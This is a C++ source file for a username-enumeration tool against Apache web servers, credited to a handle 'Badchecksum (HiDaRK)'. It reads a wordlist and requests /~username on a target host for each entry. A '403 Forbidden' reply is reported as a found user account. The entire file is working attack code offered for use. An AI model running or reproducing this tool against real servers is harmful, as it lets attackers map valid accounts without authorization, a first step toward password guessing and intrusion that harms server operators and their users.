/* AUTHOR: Badchecksum (HiDaRK)
 * License: Public (GPL)
*/

#include <string>
#include <iostream>
#include <cstdio>
#include <fstream>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>

class ApacheUserBruteForce
{
	private:
		std::string APServ;
		sockaddr_in saddr;
		int sockfd;
		void connect();
		void disconnect();
	public:
		ApacheUserBruteForce(std::string apserv, int port = 80);
		bool exist(std::string username);
};

ApacheUserBruteForce::ApacheUserBruteForce(std::string apserv , int port) : APServ(apserv)
{
	hostent *APServAddr;
	char ip[INET_ADDRSTRLEN+1];
	
	memset(&saddr, 0, 16);
	memset(ip, 0, INET_ADDRSTRLEN+1);
	
	if((APServAddr = gethostbyname(apserv.c_str())) == NULL)
	{
		if(inet_aton(apserv.c_str(),&(saddr.sin_addr)) == 0)
		{
			perror("inet_aton()");
			exit(-1);
		}
	}
	else
	{
		inet_ntop(AF_INET, APServAddr->h_addr, ip, INET_ADDRSTRLEN);
		saddr.sin_addr.s_addr = inet_addr(ip);
	}
	saddr.sin_family = AF_INET;
	saddr.sin_port = htons(port);
}

void ApacheUserBruteForce::connect()
{
	sockfd = socket(AF_INET, SOCK_STREAM, 0);
	if(::connect(sockfd, (sockaddr*) &saddr, 16) == -1)
	{
		perror("connect()");
		exit(-1);
	}
}
void ApacheUserBruteForce::disconnect()
{
	close(sockfd);
}

bool ApacheUserBruteForce::exist(std::string username)
{
	std::string Buffer;
	std::string SendString =
		std::string(std::string("GET http://") + APServ + std::string("/~") + username + std::string("\n\r\n\r"));
	char ch;
	this->connect();
	write(sockfd, SendString.c_str(), SendString.length());
	while(read(sockfd, &ch, 1))
		Buffer += ch;
	if(Buffer.find("403 Forbidden") != -1)
		return true;
	else 
		return false;
	this->disconnect();
}

int main(int argc, char *argv[])
{
	if(argc < 4)
	{
		std::cout << "Usage: " << argv[0] << " host port dictionary" << std::endl;
		exit(-1);
	}
	
	ApacheUserBruteForce aubf(argv[1], atoi(argv[2]));
	std::ifstream ifile(argv[3]);
	if(!ifile.fail())
	{
		while(!ifile.eof())
		{
			std::string line = "";
			char ch = 0;
			do
			{
				ifile.get(ch);
				if(ch != '\n')
					line += ch;
			}
			while(ch != '\n' && !ifile.eof());
			if(aubf.exist(line))
				std::cout << "User found: " << line << std::endl;
		}
	}
	else
	{
		std::cout << "Can't open the dictionary" << std::endl;
		exit(-1);
	}
	return 0;
}
